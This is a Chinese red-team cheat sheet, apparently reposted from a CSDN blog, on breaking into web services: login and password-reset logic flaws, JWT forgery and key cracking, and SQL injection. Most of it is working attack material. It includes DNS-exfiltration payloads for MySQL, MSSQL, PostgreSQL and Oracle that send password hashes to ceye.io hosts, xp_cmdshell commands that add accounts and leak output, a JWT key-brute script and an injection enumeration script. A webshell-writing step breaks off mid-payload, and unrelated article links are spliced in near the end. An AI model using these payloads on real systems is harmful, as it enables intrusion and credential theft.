• 红队打点总结大全


    web服务突破

    一些存在问题的逻辑

    1. 任意用户注册
    2. 可爆破用户名
    3. 爆破用户名,密码
    4. 用户名注入
    5. 万能密码
    6. 用户名Xss
    7. 修改返回包信息,登入他人账户
    8. 修改cookie中的参数,如user,adminid等
    9. HTML源码、JS等查看信息搜集一章
    10. 后台登录参数修改为注册参数/reg、/register、/sign
    11. 密码重置
    12. 1.重置一个账户,不发送验证码,设置验证码为空发送请求。
    13. 2.发送验证码,查看相应包
    14. 3.验证码生存期的爆破
    15. 4.修改相应包为成功的相应包
    16. 5.手工直接跳转到校验成功的界面
    17. 6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
    18. 7.重置别人密码时,替换为自己的手机号
    19. 8.重置自己的成功时,同意浏览器重置别人的,不发验证码
    20. 9.替换用户名,ID,cookie,token参数等验证身份的参数
    21. 10.通过越权修改他人的找回信息如手机/邮箱来重置

    JWT攻击手法

    https://jwt.io/#debugger-io

    未校验签名

    将原JWT串解码后修改用户名等身份认证的地方,生成新token发送请求

    禁用哈希

    Alg代表加密方式,修改用户名等身份认证的地方,把HS256设置为none生成token发送请求,使用python的pyjwt模块
    jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')

    爆破弱密钥

    1. >pip3 install pyjwt
    2. >python3 crack.py
    1. import jwt
    2. import termcolor
    3. jwt_str = R'token'
    4. with open('/root/password.txt') as f:
    5. for line in f:
    6. key_ = line.strip()
    7. try:
    8. jwt.decode(jwt_str,verify=True,key=key_)
    9. print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
    10. break
    11. except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
    12. print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
    13. except jwt.exceptions.InvalidSignatureError:
    14. print('\r',' ' * 64, '\r\btry',key_,end='',flush=True)
    15. continue
    16. else:
    17. print('\r','\bnot found.')

    注入

    注入无列名

    1. http://url/index.php?id=1 order by 6
    2. http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
    3. http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -

    结合dnslog

    1. MYSQL结合dnslog
    2. ?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
    3. 显示数据库
    4. ?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
    5. 显示表
    6. ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
    7. ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
    8. 显示字段
    9. ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
    10. 显示数据
    11. ?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
    12. MSSQL结合dnslog
    13. 查数据
    14. ?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
    15. Sa密码
    16. ?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
    17. 执行命令
    18. exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
    19. exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
    20. exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
    21. postgreSQL结合dnslog
    22. ?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPL+ACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
    23. Oracle结合dnslog
    24. ?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
    25. ?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
    26. ?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
    27. ?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;

    拿shell

    1. 判断数据库
    2. ;and (select count(*) from sysobjects)>0 mssql
    3. ;and (select count(*) from msysobjects)>0 access
    4. 查库
    5. ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
    6. ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
    7. 查表
    1. import requests
    2. import re
    3. table_list = ['']
    4. def get_sqlserver_table(table_list, table_num):
    5. for num in range(0,table_num):
    6. # print("','".join(table_list))
    7. sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
    8. url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
    9. r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
    10. res = re.search(r'\'(.*)\'', r.content.decode('utf-8'), re.M|re.I)
    11. table_name = str(res.group(1))
    12. table_list.append(table_name)
    13. print("[{}] - TableName: {}".format(str(r.status_code), table_name))
    14. if __name__ == "__main__":
    15. get_sqlserver_table(table_list, 16)
    1. 判断是否存在xp_cmdshell
    2. and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
    3. 执行命令
    4. ;exec master..xp_cmdshell "net user name password /add"
    5. 查看权限
    6. and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa
    7. and (select IS_MEMBER('db_owner'))=1-- // dbo
    8. and (select IS_MEMBER('public'))=1-- //public
    9. 站库分离获取服务器IP
    10. ;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
    11. LOG备份
    12. ;alter database testdb set RECOVERY FULL --
    13. ;create table cmd (a image) --
    14. ;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
    15. ;insert into cmd (a) values ('<%
    16. 相关阅读:
      JAVA基础(三十二)——反射之创建对象
      多线程与同步
      六大招式,修炼极狐GitLab CI/CD “快” 字诀
      java计算机毕业设计员工信息管理系统源码+mysql数据库+系统+lw文档+部署
      iOS开发实战-仿小红书App开发-1-App创建与Git
      机器学习入门五(随机森林模型数据分类及回归)
      设计模式-模板方法模式
      【初阶算法4】——归并排序的详解,及其归并排序的扩展
      一条SQL语句的执行过程(附一次两段式提交)
      锂电池保护IC:HC5106锂电池保护IC,供应储能电源、无线吸尘器等电动工具、电动自行车、无人机、笔记本电脑等电子产品
    17. 原文地址:https://blog.csdn.net/weixin_57567655/article/details/126890610